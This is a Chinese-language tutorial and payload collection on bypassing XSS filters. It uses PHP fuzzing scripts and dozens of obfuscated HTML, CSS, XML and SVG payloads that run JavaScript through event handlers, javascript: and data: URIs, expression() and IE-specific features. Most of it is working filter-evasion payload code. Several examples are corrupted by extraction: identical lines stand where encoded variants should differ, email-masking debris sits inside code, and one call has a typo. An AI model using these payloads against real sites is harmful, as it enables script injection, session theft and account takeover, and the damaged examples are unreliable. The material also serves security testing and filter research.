1 &符號不應該出現在HTML的大部分節點中。
2 尖括號<>是不應該出現在標簽內的,除非為引號引用。
3 在text節點里面,<左尖括號有很大的危害。
4 引號在標簽內可能有危害,具體危害取決于存在的位置,但是在text節點是沒有危害的。
在任何HTML文檔中,最開始的<!DOCTYPE>
用來指示瀏覽器需要解析的方式,同樣也可使用Content-Type
頭來告訴瀏覽器。
一般情況下,瀏覽器中的解析器會嘗試恢復大多數類型的語法錯誤,包括開始和結束標記。
在XML中,是非常嚴格的,所有標簽必須有對應的開始關閉,也可以有自動關閉如<img/>也是允許的。
在IE瀏覽器中允許在1中插入NUL字符(0x00),可以繞過非常多的xss過濾器。
如下php代碼可把NUL字符插入標簽內做測試:
2和4中的空格也可以由tab(0x0B)與換頁鍵(0x0C),2處也可以用/來代替。
5中的"在IE中也可替換成`。
IE當中還有一個特性是當遇到=后面緊跟一個引號的時候會有奇怪的解析。
<img src=test.jpg?value=">Yes, we are still inside a tag!">
<comment><img src="<comment><img src=x onerror=alert(1)//">
HTML解析器在建立文檔樹的時候會針對節點內的Entity編碼解碼后傳輸。
以下兩個表示相同:
<img src="http://www.example.com">
<img src="http://www.example.com">
下面兩個例子代碼不會執行,因為,編碼的是標簽本身的結構而非節點內的內容:
<img src="http://www.example.com">
<img src="http://www.example.com">
對一個普通的HTML進行Fuzzing測試:
<a >Click me</a>
看一下可以Fuzzing的位置
位置 | 代碼 | 可能插入或替代的代碼 |
---|---|---|
<的右邊 | <[here]a href="... |
控制符,空白符,非打印字符 |
a標簽的后門 | <a[here]href="... |
同上 |
href屬性中間 | <a hr[here]ef="... |
同上+空字節 |
=兩邊 | <a href[here]=[here]"... |
所有字符 |
替換= | <a href[here]"... |
Union編碼符號 |
替換" | <a href=[here]…[here]> |
其他引號 |
>之前 | <a href="…"[here]> |
任意字符 |
/之前 | <a href="…">...<[here]/a> |
空白符,控制符 |
/之后 | <a href="…">...</[here]a> |
空白符,控制符 |
>閉合之前 | <a href="…">…</a[here]> |
所有字符 |
可以使用php代碼進行快速測試,例如我們對第一個位置(<的右邊)進行Fuzzing:
<?php
for($i = 0; $i <= 255; $i++) {
$character = chr($i);
# <右邊進行測試
echo '<div><'.$character.'a ; }
?>
上面的代碼只測試了256個字符,如果想要測試Unicode的所有字符,則需要創建65536個鏈接。
php默認字符是ISO-8859-1作為默認的字符編碼,而這種編碼只有256個字符,所以單純的循環65536遍是沒用的。
所以采用Entity編碼方式循環,解碼后輸出:
<?php
for($i = 0; $i <= 65535; $i++) {
$character = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8')
# <右邊進行測試
echo '<div><'.$character.'a ;
}?>
有一個有趣的現象是幾乎所有瀏覽器對$#33;
即!
,瀏覽器會<!
當成注釋的開始,然后自動補齊剩下的代碼,瀏覽器解析后的代碼:
<div><!--a -->33</div>
<L? onclick=alert(1)>click me</L?>
上面的代碼,在Chrom、Firefox和Safari中點擊,可以順利彈出1。
討論一下空字符的問題,IE瀏覽器會自動忽略空字符,并解析剩下的代碼,這樣會繞過很多采用正則匹配黑名單字符串的過濾器。
并且,很多函數和庫并沒有意識到這個問題:
<?php
echo '<im'.chr(0).'g sr'.chr(0).'c=x onerror=ale'.chr(0).'rt(1)>';
?>
用IE8打開上述代碼的網頁,查看源代碼只能看到"<im"后面的字符都隱藏了。
還有兩種方式可以對標簽名Fuzzing,第一種是涉及字符集的問題,第二種是針對php中在過濾之前使用了utf8_decode()函數。
<?php
header('Content-Type: text/html;charset=Shift_JIS');
for($i = 1; $i <= 255; $i++) {
$character = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8');
$character = utf8_decode($character);
echo $character.'123456 '.$i."<br>\r\n";
} ?>
代碼很簡單,設置返回響應字符集為Shift_JIS,然后把utf-8轉換為Shift_JIS字符集。
可以看到在IE中129-159和224-252中,123456中的1消失了,與前面的字符合并成一個字符了。
標簽后面也可加入/符號做間隔:
<img/src=x onerror=alert(1)>
嘗試在標簽與/之間再插入其他字符來測試,由于空字符無法直觀顯示,所以用\0來表示null,同樣主流瀏覽器都可以執行:
<img\0/src=x onerror=alert(1)>
再嘗試ASCII碼之外的字符,這種字符在正則表達式中\w是無法匹配到的,主流瀏覽器都可以執行:
<img/ \/\μ src=x onerror=alert(1)//>
測試發現,標簽名與屬性名直接只要是以/開頭以/或"結尾,中間幾乎可以插入任意字符。
在Fuzzing屬性方面,考慮兩方面,一個是可以使用什么分隔符,一個是屬性值可以采用什么編碼。
分隔符有很多種,單引號,雙引號,無任何引號,反撇號(IE中)。
<?php
for($i = 1; $i <= 255; $i++) {
$character = chr($i);
echo '<div><font size='. $character. '20'. $character. '>'.$i.' </font></div>';
} ?>
上面代碼可以直觀的看出當前瀏覽器支持的分隔符有哪些字符。
上面代碼size屬性如果輸入的是字符的話,會順利執行,所以當$character中循環到數字的時候也會順利解析,但這并非是把數字當成了分割符:
<?php
for($i = 20; $i <= 255; $i++) {
$character = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8');
echo '<div><img title="'.$i.'" src='.$character. 'http://www.google.com/intl/en_ALL/images/logo.gif'. $character. '></div>';
} ?>
以上代碼可以看出,屬性為字符串的時候,可以作為分隔符的字符。
為了表示那些不可打印的字符,就用\x十六進制
來表示:
<img src=\x17\x17 onerror=alert(1)//>
以上代碼\x17即表示不可打印字符chr(23),瀏覽器提交的時候可以輸入%3Cimg%20src%3D%17%17%20onerror%3Dalert%281%29%2f%2f%3E。
在src中可以正常工作的分隔字符,在處理事件的屬性里不一定會工作,例如onerror。
但是仍然有一些字符可以達到我們的目的,ASCII表中的133和160已經IE中的空字符,甚至是分號。
<img/\%20src=%17y%17 onerror=%C2%A0alert(1)//>
以上代碼urldecode之后在chrome中可以順利執行。
下面討論多個標簽的問題,比如用戶可控的數據插入到了<input>
標簽中,同時過濾了<>
只能插入標簽內數據:
<input value="" type=image src=1 onerror=alert(1)//" type="hidden" name="foo" />
綠色部分是我們插入的數據,又插入了一個type屬性,但是瀏覽器執行了alert(),瀏覽器實際上會執行第一個屬性,后面的會忽略掉。
在IE中還有一個lowsrc的屬性,跟src類似,原本是為了方便調用一個縮略圖的,但是在IE6和IE7中,同時也支持偽協議javascript:,還有一個dynsrc屬性也類似:
<img lowsrc=1 onerror=alert(1)> // 所有IE都支持
<img lowsrc=javascript:alert(2)> //IE6和IE7支持
<img src="http://www.google.de/intl/de_de/images/logo.gif" dynsrc="javascript:alert(3)" /> // 只有IE6支持
sytle屬性中還可以定義非常多的參數:
<span style="color:red" style="color:green;background:yellow"> foobar</span>
上面代碼可以看到,瀏覽器顯示的字體為紅色,背景為黃色,除了定義顏色之外也可以用expression()執行js,后面會討論。
還有一個屬性是專門用來在一個標簽中插入多個的:xmlns,XML的命名空間屬性,這個后面會在XML中討論。
還有一處可Fuzzing的點即為標簽的關閉,一個有趣的現象是瀏覽器把<br/>
與</br>
,<p/>
與</p>
成完全一樣。
<b > foobar</b style="x:expression(alert(1))"> // 不會執行alert
<b > foo</b > bar</b style="x:expression(alert(2))"> // IE執行了alert
<script src="http://0x.lv"></b> // 不會執行
可以執行的代碼為沒有開始標簽的一個閉合標簽,IE8中,sytle屬性可以插在一個閉合標簽內,并順利執行。
可混淆的另一個方法是:可替換為=,下面例子在IE8中可執行:
<//style=x:expression(if(!window.x){window.x=1;alert(1);})>
<//style='x=expr\65 ssion(if(!window.x){window.x=1;alert(1);})'>
</a/style='x= \a expr\65 ss/*\*/ion(if(!window.x){window.x=1;alert(1);})'>
HTML代碼中執行js的各種方式,用以下方式定義的時候,VBscript和JavaScript都可以執行。
<script language=vbs>
alert+1'VBScript
alert(2)// JavaScript
</script>
也有利用標簽中的屬性來執行js,例如:onclick,onload,onerror等等。
在iframe標簽中,不需要src屬性就可以順利執行onload屬性,而img標簽不可以。
這是因為在iframe中沒有src屬性的時候,瀏覽器會自動加載about:blank頁面,即空白頁。
附件tag.php可以方便的看到當前瀏覽器針對各標簽在不需要用戶交互的情況下,可以自動執行的所有屬性。
從輸出結果可以看到body標簽支持非常多的屬性可以在與用戶沒有交互的情況下執行js。
例如load,error事件,所有的mouse和keyboard事件,以及在用戶離開時的blur事件,還有unload和beforeunload,以及大家很少知道的pageshow屬性。
同樣標簽中也有很少遇到的marquee標簽:
<marquee onscroll=alert(1)>
在Chrome中,html標簽也可以執行非常多的屬性,,同源frameset標簽也接受focus和blur事件。
一個很有趣的例子是,讓scroll事件可以無交互觸發,我們可以引入一個錨點,例如:
<a name="bottom">
或者通過id屬性<div id="bottom">
那我們可以訪問http://test.com/test.html#bottom來訪問,瀏覽器自動滾到該錨點,觸發scroll屬性。
<body onscroll="alert(1)">
<div style="height:10000px">some text</div>
<a name="bottom"></a>
</body>
1.html為以上代碼,訪問1.html#bottom會自動觸發onscroll事件。
IE中hr標簽中的onresize屬性,在當前窗口大小變化時,會觸發resize事件,執行alert(1)。
<hr onresize=alert(1)>
還有非常多的組合可以在IE中使用,很難全部列出來,只列舉出幾個很少見的例子:
<bgsound onpropertychange=alert(1)>
<body onpropertychange=alert(2)>
<body onmove=alert(3)>
<body onfocusin=alert(4)>
<body onbeforeactivate=alert(5)>
<body onactivate=alert(6)>
<embed onmove=alert(7)>
<object onerror=alert(8)>
<style onreadystatechange=alert(9) >
<xml onreadystatechange=alert(10) >
<xml onpropertychange=alert(11) >
<table><td background=javascript:alert(12) >
除了以上on的各種屬性之外,src和href屬性由于支持javascript和vbscript(只支持IE)偽協議,所以也是可以執行javascript代碼:
<a href="javascript:alert(1)">click me</a>
<a href="vbscript:alert(2)">click me</a>
代碼執行時必須使用(),不可以使用vbscript中的alert+2,當點擊之后,會彈出一個寫在當前頁面DOM中的數字2的警告框。
javascript:和vbscript:協議執行后的結果將會映射在DOM后面。
<a href="javascript:'\x3cimg src\x3dx onerror=alert(document.domain)>'">click me</a>
以上代碼在IE和Firefox中點擊click me之后可執行,并且可以看到彈出的domain為a標簽中所在的domain。
以上代碼需要用戶交互,下面看個不需要用戶交互的例子,使用object標簽和data:標簽:
<object data="javascript:alert(1)">
<object data="data:text/html,<script>alert(2)</script > ">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg">
以上三個在Firefox中可執行,第二個可在Opera中執行,把各標簽中各屬性支持javascript的總結了一些:
<iframe src="javascript:alert(1)"> // 火狐,Chrome, IE8
<embed src="javascript:alert(2)"> // 火狐
<img src="javascript:alert(4)"> // IE6
<image src="javascript:alert(5)"> // IE6
<body background="javascript:alert(5)"> // IE6
<script src="javascript:alert(6)"> // IE6
<table background="javascript:alert(7)"> // IE6
<isindex type="image" src="javascript:alert(8)"> // IE6-7
以及applet標簽中code和archive屬性可以用來調用jar文件,執行java代碼。
<applet code="XSS" archive="http://someserver.com/xss.jar"></applet>
Javascript可以通過DOM直接獲取當前頁面中對應的id和name屬性的對象:
<html>
<body>
<div id="test"></div>
<script>alert(test)</script>
</body>
</html>
上面代碼可以看出Javascript中并沒定義test變量,但是獲取到了頁面中id為test的對象。
反過來,我們可以在外部直接控制Javascript變量,并且在一些瀏覽器中可以重寫Javascript中已有的變量。
<html>
<body>
<form id="location" href="bar">
<script>alert(location.href)</script>
</body>
</html>
以上代碼在IE中可以看到彈出的bar,而不是當前頁面的url,成功覆蓋了原本的變量。
還有一種利用meta標簽來執行Javascript:
<meta http-equiv="refresh" content="0; url=javascript:alert(document.domain)">
上面代碼可以在Chrome,Opera,IE6中可執行javascript代碼,并且彈出的時meta標簽所在的域。
如果禁止了javascript:協議,也可使用data:協議,不過能夠順利執行javascript并且繼承meta標簽域的測試到的只有Opera。
<meta http-equiv="refresh" content="0; url=data:text/html,<script>alert(document.domain)</script>">
IE中為了兼容各個版本,所以有一個條件注釋的語法,這個語法其他瀏覽器并不支持,會自動當成html注釋。
<!--[if IE 8]>
<p>Welcome to Internet Explorer 8.</p>
<![endif]-->
如上文字只有在IE8中才會顯示,條件注釋對于開發是一件很好的事情,可以方便的判斷瀏覽器版本獲取兼容代碼展現給用戶。
<!--[if gte IE 7]><p>You are using IE 7 or greater.</p><![endif]-->
<!--[if (IE 5)]><p>You are using IE 5 (any version).</p><![endif]-->
<!--[if (gte IE 5.5)&(lt IE 7)]><p>You are using IE 5.5 or IE 6.</p><![endif]-->
<!--[if lt IE 5.5]><p>Please upgrade your version of Internet Explorer.</p><![endif]-->
<!--[if lt Contoso 2]>
<p>Your version of the Contoso control is out of date; please update to the latest.</p>
<![endif]-->
<![if IE 8.0] >
<script > alert(1)</script > //只在IE8下執行
<![endif] >
<![if IE 8.0000000000000000]]] >
<script > alert(2)</script > // IE8同樣執行
<![endif] >
<![if IE 8.0000000000000000?] >
<script > alert(3)</script > // 所有的IE都執行
<![endif] >
同時IE還支持另外一種方法來執行條件語句,就是通過
<comment><img src=x onerror=alert(3)><comment>
<comment onclick=alert(1)>XXX--> //Opera不執行
IE的JS引擎里同樣也有條件注釋的語法:
<script>
[email protected]_on!alert(1)
[email protected]_on~alert(2)@*/
</script>
前面提到過標簽屬性中的URI可以做entity編碼,同時,javascript:后面也可以做url編碼,下面代碼在所有瀏覽器中都可以成功執行。
<a href="javascript:%61lert(1)">click me</a>
同時后面的url編碼可以再做一次entity編碼:
<a href="javascript:%61lert(1)">click me</a>
由于entity編碼允許&#之后插入任意多個0,再利用上javascript的注釋混淆后:
<a href="javascript: //%0a %61lert(1)">click me</a>
base標簽定義當前頁面鏈接默認地址或默認目標,下面代碼在opera中可執行:
<base href="javascript:alert(1)"/>
<a href="#">click me</a>
javascript也可以換行分割(在IE與chrome中可執行alert):
<a href="jav
ascript: //%0a %61lert(1)">click me</a>
換行字符同時也可以使用entity編碼:
<a href="java
script://%0a%61lert(1)"> click me</a>
<?php
for($i = 0; $i<=65535; $i++) {
$chr = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8'0);
echo '<iframe src="java'.$chr.'script:alert('.$i.')"></iframe> <br/>';
} ?>
上面代碼可測出當前瀏覽器中,javascript字符串插入哪些字符仍然可以執行alert。
<a href="data:text/html;charset=utf-8;base64, PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+Og=="> click</a>
上面代碼在Firefox和Opera中可以彈出當前域,Chrome與Safari可以彈,但是繼承不到a標簽所在的域,彈出為空,IE不能執行。
Firefox中data:協議默認MIME類型為text/html,即使你定義了一個他根本不知道的類型,他也會把它當作text/html類型:
<iframe src="data:μ,<script>alert(1)</script>"> </iframe>
<iframe src="data:&#ffff;,<script>alert(2)</script>"></iframe>
利用之前總結的結論,最終可以寫出下面可讓Firefox執行的代碼:
<iframe/
\/src="data:μ,%3cscript%3ealert(document.dom%61in+[])%3c/script%3e"> </iframe>
并且火狐中會忽略data:協議中的所有空白字符:
<iframe src="data:., %
3
cscri pt%
3 e alert(1)
%3c /s C RIP t>">
最終可以混淆成這樣:
<iframe src="data:. , % 3
c s cri 
 pt %
3 e al\u0065rt(1)
%3c /s C RI 	 P t>"
data:%,<b> < s 
 c r i p t>alert(1) < /s 
 c r i p t>
之前提到的標簽,在IE中data:協議都不能執行javascript,但是在style標簽里,[email protected]:執行javascript:
<style>
@import "data:,*%7bx:expression(write(1))%7D";
</style>
<style>
@imp\ ort"data:,*%7b- = \a %65x\pr\65 ssion(write(2))%7d"; </style>
<style>
<link rel="Stylesheet" href="data:,*%7bx:expression(write(3))%7d">
下面討論一下事件即onload、onerror等事件之后的混淆方法:
<body onload="alert

/*�*/(document. dom\u0061in)//">
采用了entity編碼,最后一處是先使用javascript的unicode編碼,然后再entity編碼。
由于是直接處理DOM的方法和對象,與直接在script標簽內處理字符串的環境還是不同,但是我們可以加注釋或者換行符。
<body onload="alert

//
/*�*/(document. dom\u0061in)//">
當使用location重定向到javascript:偽協議url的時候,又可以多做一重編碼了:
<body/:a/onload="location='javAscript:'
+([]+
'\141\l\u0065rt\r\(/**/docum%65nt.dom\x2561in)'
)">
事件同時又可以直接調用其他屬性:
<img src="x" onload="alert(1)" onerror="this.onload()">
<img/src="*/(1)"title="alert/*"onerror="eval(title+src)">
style屬性的混淆,一個沒有任何混淆的簡單例子:
<input type="text" value="" style=display:block;position:absolute;top:0;left:0;width:999em; height:999em onmouseover=alert(1) a="" name="foo" />
利用之前總結的在屬性里的混淆方法:
<l1!/style="-:\65 \x/**/\p\r\000065 /**/ssio\n(write /**/(dom\u0061in))">
在expression中,我們可以直接訪問document中的write方法和domain屬性,這表明我們當前位于document的DOM范圍內。
<l1!/style="-:\65 \x/**/\p\r\000065 /**/ssio\n(location='javAscript:'+([]+'document.write\r\(/**/1)'))">
轉到javascript的URL時,已不在document當中,訪問write方法時需要使用document.write。
看到有\xx和\xxxxxx的Unicode編碼,這些都是CSS編碼,與JavaScript編碼非常相似。
下面兩個URL中列舉了一些瀏覽器對各種奇怪的css語法支持情況:
http://imfo.ru/csstest/css_hacks/import.php http://centricle.com/ref/css/filters/
在IE中,css的解析非常的寬泛:
<style>
/*\*/*{x:expression(write(1))/*
</style>
<style>
_{content:"\"/*" x}
*{0:expression(write(2))
</style>
<a style=<!---/**/=expression(write(3))/*-- > X</a >
從IE5.5到IE8中,除了expression可以用來執行JavaScript之外,也可以通過HTML+TIME的形式。
這種方式唯一的缺點就是也需要一個事件來執行JavaScript,即onbegin或者onend:
1<l style="behavior:url(#default#time2)"onbegin="alert(1)">
還有一種方式利用set標簽:
1<set/xmlns="urn:schemas-microsoft-com:time" style="behAvior:url(#default#time2)" attributename="innerhtml" to="<img/src="x"onerror=alert(1)>">
測試一下style屬性中在哪些瀏覽器中,可以插入哪些字符:
<?php
for($i = 0; $i<=65535; $i++) {
$chr = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8');
echo '<a style="color='.$chr.'red">'.dechex($i).'['.$chr.']</a>';
} ?>
從測試結果可以得出,下面的代碼可以在IE中執行:
<div style=xss : expression(write(1))>
在一些老版本的IE中,如IE6和IE7,還可以通過背景相關屬性調用javascript的URL來執行javascript代碼:
<b style="background:url(javascript:alert('background'))">xxx</b>
<b style="background-image:url(javascript:alert('background'))"> xxx</b>
<b style="list-style:url(javascript:alert('background'))">xxx</b>
<b style="list-style-image:url(javascript:alert('background'))"> xxx</b>
通過link標簽(在IE6下適用,同時javascript可以換成vbscript):
<link rel="stylesheet" href="javascript:alert(1)">
<link rel="stylesheet" href="vb	script:%61lert(document.domain)">
style標簽中可以通過導入url的方式執行javascript:
<style>
@imp\o\ rt url('javascript:%61lert(2)');
</style>
HTML5中增加了很多標簽跟屬性,列舉一些可執行JavaScript的方法:
<form><input><output onforminput="alert(1)"> //Opera支持
onfocus與autofocus的配合:
<input onfocus=write(domain) autofocus>
<keygen onfocus=write(domain) autofocus>
<textarea onfocus=write(domain) autofocus>
<body onfocus=write(domain) autofocus>
<frameset onfocus=write(domain) autofocus>
<button onfocus=write(domain) autofocus>
<input autofocus onblur=write(domain)><input autofocus> //Chrome中無交互執行
<iframe/src=javascript:alert(1)>
<video/poster=javascript:alert(2)>
<button form="test" formaction="javascript:alert(3)">
更多的html5攻擊方式請見:http://html5sec.org/
XML內容比較少,就一起寫到HTML里了,XML支持Unicode,所以Unicode里的所有字符都可以用來做標簽或者屬性,同時有可能繞過<\w+匹配:
<啊 onclick="alert(1)" xmlns="http://www.w3.org/1999/xhtml">XXX</啊>
XML相比HTML最嚴格的就是有了開始的標簽,必須要有結束標簽匹配,否則會報錯。
但是在大多數瀏覽器中似乎并不會影響頁面中javascript的解析(IE中不執行):
<html xmlns="http://www.w3.org/1999/xhtml">
<script>
alert(1); // works
</script>
<p>
<script>
alert(2); // works too
</script>
</html>
甚至可以通過JavaScript修改錯誤頁面的內容(在Firefox中可執行):
<html xmlns="http://www.w3.org/1999/xhtml">
<p>
<script>
setTimeout(function(){ document.activeElement.textContent='hello world' },1);
</script>
</html>
XML的編碼規范與HTML非常相似,可以用entity編碼屬性值。 在XML中,我們可以在DOCTYPE中自定義entity,甚至通過URL引入外部文件:
<!DOCTYPE xss [<!ENTITY x "al&y;"><!ENTITY y "ert">]>
<html xmlns="http://www.w3.org/1999/xhtml">
<script>&x;(document.domain);</script>
</html>
上面代碼定義了一個&y變量為"ert",&x為"al&y"(a與&符號編碼了一下),即alert,
<!DOCTYPE xss [<!ENTITY _k "al&__;"><!ENTITY __ "ert" > ]>
<script xmlns="http://www.w3.org/1999/xhtml">
<!-- &_k;(1)
</script>
在xml中,包括script標簽內的代碼瀏覽器都會entity解碼后執行,這點很有用:
<script xmlns="http://www.w3.org/1999/xhtml">
a='',alert(1)//';
b='',alert(2)//';
c='',alert(3)//';
</script>
從5.5版本開始,Internet Explorer(IE)開始支持Web 行為的概念。
這些行為是由后綴名為.htc的腳本文件描述的,它們定義了一套方法和屬性,幾乎可以把這些方法和屬性應用到HTML頁面上的任何元素上去。
HTML中可以通過加載CSS的behavior的方式調用htc文件,僅支持同域調用:
//HTML文件代碼:
<html>
<head>
<style>body { behavior: url(test.htc);}</style> </head>
<body>Hello</body>
</html>
//htc文件代碼:
<PUBLIC:COMPONENT>
<PUBLIC:ATTACH EVENT="onclick" ONEVENT="alert(1)" />
</PUBLIC:COMPONENT>
同樣HTML調用XML文件執行javascript:
<html>
<body>
<xml id="xss" src="test.xml"></xml>
<label dataformatas=html datasrc=#xss datafld=payload></label> </body>
</html>
<?xml version="1.0"?>
<x>
<payload>
<![CDATA[<img src=x onerror=alert(domain)>]]> </payload>
</x>
dataformatas定義了獲取到的數據以什么格式解析(HTML或text),datasrc指綁定的id,datafld指使用哪一段數據。
svg調用javascript(新版本的幾個瀏覽器支持):
<svg xmlns="http://www.w3.org/2000/svg">
<g onload="alert(1)"></g>
</svg>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(2)"></svg>